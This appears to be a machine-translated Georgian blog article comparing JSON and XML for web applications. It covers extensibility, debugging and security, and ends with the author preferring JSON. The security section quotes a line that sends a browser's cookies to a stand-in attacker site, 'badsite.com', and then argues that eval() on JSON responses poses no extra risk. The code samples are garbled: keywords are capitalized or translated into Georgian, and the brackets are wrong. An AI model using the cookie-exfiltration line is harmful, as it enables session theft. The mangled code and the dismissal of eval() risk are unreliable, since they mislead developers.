ჩემი პოზიციაა, რომ თუ შესაძლებელია სამომავლო გაფართოების გათვალისწინება, XML და JSON მონაცემები შეიძლება გაფართოვდეს. მაგრამ JSON-ით მონაცემთა გაფართოება უფრო ადვილია, ვიდრე XML-ით. თქვენ უბრალოდ უნდა შეამოწმოთ, რომ ობიექტზე არსებობს საჭირო თვისება და იმოქმედოთ შემოწმების შედეგის მიხედვით.

JSON მონაცემების გაფართოების კიდევ ერთი ვარიანტია ფუნქციის ზარების გამოყენება მონაცემთა დეკლარაციებთან ერთად პირდაპირ პასუხში.

Alert("Hi - მე ვარ ადამიანი"); (("firstName" : "Subbu", "LastName": "Allamaraju"));

როდესაც მონაცემები გამოცხადებულია eval()-ით, ბრაუზერი ასევე გამოიძახებს alert() გამოხატვას. ამ შემთხვევაში, თქვენ შეგიძლიათ ჩატვირთოთ მონაცემები და შეასრულოთ ფუნქციები. ეს მიდგომა დიდი სიფრთხილით უნდა იქნას გამოყენებული, რადგან ის აფუჭებს პასუხს ფუნქციის ზარებით და ქმნის კავშირს ზარებსა და მონაცემებს შორის. ზოგიერთი წყარო ასევე განიხილავს ამ მიდგომის უსაფრთხოების პოტენციურ დაუცველობას, რომლებიც უფრო დეტალურად განიხილება ქვემოთ.

გამართვა და შეცდომის გამოსწორება

ეს ასპექტი ეხება როგორც თქვენი აპლიკაციის სერვერის მხარეს, ასევე კლიენტის მხარეს. სერვერზე, თქვენ უნდა დარწმუნდეთ, რომ მონაცემები სწორად არის ჩამოყალიბებული და სწორი. კლიენტის მხრიდან პასუხში შეცდომების გამართვა მარტივი უნდა იყოს.

XML-ით შედარებით ადვილია იმის შემოწმება, რომ კლიენტისთვის გაგზავნილი მონაცემები კარგად არის ჩამოყალიბებული და სწორი. თქვენ შეგიძლიათ გამოიყენოთ სქემა თქვენი მონაცემებისთვის და გამოიყენოთ იგი მონაცემების დასადასტურებლად. JSON-ით ეს ამოცანა ხდება ხელით და მოითხოვს იმის შემოწმებას, რომ შედეგად ობიექტს აქვს სწორი ატრიბუტები.

კლიენტის მხრიდან, ორივე შემთხვევაში ძნელია შეცდომების აღმოჩენა. XML-ისთვის ბრაუზერი უბრალოდ ვერ შეძლებს მის ResponXML-ად გადაქცევას. JSON მონაცემთა მცირე მოცულობისთვის, შეგიძლიათ გამოიყენოთ FireBug გაფართოება გამართვისა და შეცდომის გამოსასწორებლად. მაგრამ დიდი რაოდენობით მონაცემებით, გარკვეულწილად რთული ხდება შეცდომის შეტყობინების კორელაცია კოდის კონკრეტულ მდებარეობასთან.

Უსაფრთხოება

დეივ ჯონსონი თავის პოსტში JSON and the Golden Fleece ვარაუდობს, რომ JSON-მა შეიძლება გამოიწვიოს უსაფრთხოების პრობლემები. შენიშვნის არსი არის ის, რომ თუ ნებას რთავთ JSON პასუხებში მონაცემებთან ერთად ფუნქციის ზარების ჩასმას და პასუხის დასამუშავებლად იყენებთ eval()-ს, მაშინ თქვენ ასრულებთ თვითნებურ კოდს, რომელიც რეალურად უკვე შეიძლება შეიცავდეს უსაფრთხოების რისკს.

Window.location = "http://badsite.com?" + დოკუმენტი.ქუქი; პირი: ("firstName": "Subbu", "LastName": "Allamaraju")

თუ ზემოთ მოცემულ მაგალითში პასუხი შესრულებულია, ეს გამოიწვევს ბრაუზერის გაგზავნას მომხმარებლის ქუქი-ფაილების მესამე მხარის საიტზე. მაგრამ ამ შემთხვევაში უსაფრთხოების საფრთხის განმარტებაში გარკვეული დაბნეულობაა. არ უნდა ენდოთ დაუდასტურებელი წყაროდან მიღებულ მონაცემებს ან კოდს. და მეორეც, ჩვენ ვერ შევძლებთ XMLHttpRequest-ის გამოყენებას სკრიპტის წყაროს დომენის გარდა სხვა დომენებთან კომუნიკაციისთვის. ასე რომ, მხოლოდ თავად დეველოპერებს, აპლიკაციის შექმნისას შეუძლიათ წამოიწყონ ქუქიების გაგზავნა მესამე მხარის საიტზე. ეს საკმაოდ საეჭვოა, რადგან მათ შეუძლიათ ასევე ადვილად მოათავსონ ეს მავნე კოდი სადმე დოკუმენტში სერვერიდან გაგზავნილი მონაცემთა პასუხის მიღმა. შესაძლოა რაღაც გამომრჩა, მაგრამ ვერ ვხედავ აზრს, რომ JSON არაუსაფრთხოდ მივიჩნიო XML-თან შედარებით.

Ჩემი არჩევანი

ინფორმაციაზე ორიენტირებული აპლიკაციებისთვის მე მირჩევნია გამოვიყენო JSON XML-ზე მისი სიმარტივის და კლიენტის მხრიდან მონაცემთა დამუშავების სიმარტივის გამო. XML შეიძლება შეუცვლელი იყოს სერვერზე, მაგრამ JSON ნამდვილად უფრო ადვილია კლიენტზე მუშაობა.

შეიძლება სასარგებლო იყოს წაკითხვა: